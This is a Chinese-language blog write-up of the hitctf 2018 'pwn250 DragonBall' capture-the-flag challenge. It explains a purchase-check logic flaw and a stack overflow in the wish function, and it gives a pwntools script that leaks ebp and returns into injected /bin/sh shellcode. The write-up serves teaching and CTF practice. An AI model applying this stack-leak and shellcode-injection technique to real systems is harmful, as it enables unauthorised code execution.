Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

hitctf 2018 pwn250 DragonBall writeup

此题的漏洞主要是在第4个选项,即wish函数中,在里面有栈溢出漏洞,能够利用栈溢出返回到任意地址中。用ida查看程序,需要集齐7龙珠才能许愿。初始有15元,购买1个龙珠5元,出售1个龙珠3元,在购买时进行下述检查:

1
2
3
4
if ( !money )
return puts("You don't have enough money.");
money -= 5;
++dragon_ball_num;

只要金钱不为0,就可以一直购买,因此先购买1个龙珠、卖出1个龙珠,然后再连续购买7个龙珠即可。

1
2
3
4
buy()
sell()
for i in range(0, 7):
buy()

保护措施如下:

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

因此我们可以让程序返回到栈上去执行我们注入的shellcode。使用pattern获取返回值的偏移,为0xa4。wish函数中,两次输入长度分别为0x64和0x40,使用pwntool生成shellcode:

1
asm(shellcraft.i386.linux.sh())

shellcode长度为44,两次输入有部分区域重叠,非重叠区域为0x68-0x38=48,刚好能够容纳得下shellcode,shellcode能完整的写入。为了使函数能够返回到栈上,我们需要泄漏栈地址信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int wish()
{
char v1; // [esp+0h] [ebp-68h]
int v2; // [esp+30h] [ebp-38h]

memset(&v1, 0, 0x60u);
if ( dragon_ball_num != 7 )
return puts("You can't make a wish.");
printf("Tell me your wish: ");
read_input_raw(&v1, 0x68);
printf("Your wish is %s, is it right?\n(Y/N) ", &v1);
read_input_raw(&v2, 0x40);
return puts("OK.");
}

第一次输入的0x68长度的字符串后正好是ebp地址,因此写入长为0x68的字符串即可让printf函数打印出ebp信息:

1
2
3
4
5
6
p.recvuntil('choice: ')
p.sendline('4')
payload = 'A' * 0x68
p.sendline(payload)
p.recvuntil(payload)
ebp = u32(p.recv(4))

获取栈信息后构造新的payload拿shell:

1
2
3
4
5
6
7
8
p.recvuntil('choice: ')
p.sendline('4')
execve_sh = asm(shellcraft.i386.linux.sh())
payload = execve_sh + 'A' * (0xa4 - len(execve_sh)) + p32(ebp - 0x88)

p.sendline(payload)
p.interactive()
p.close()

0x88为main函数到shellcode的偏移,因为wish函数栈大小为0x68,main函数为0x20,因此此处为0x88。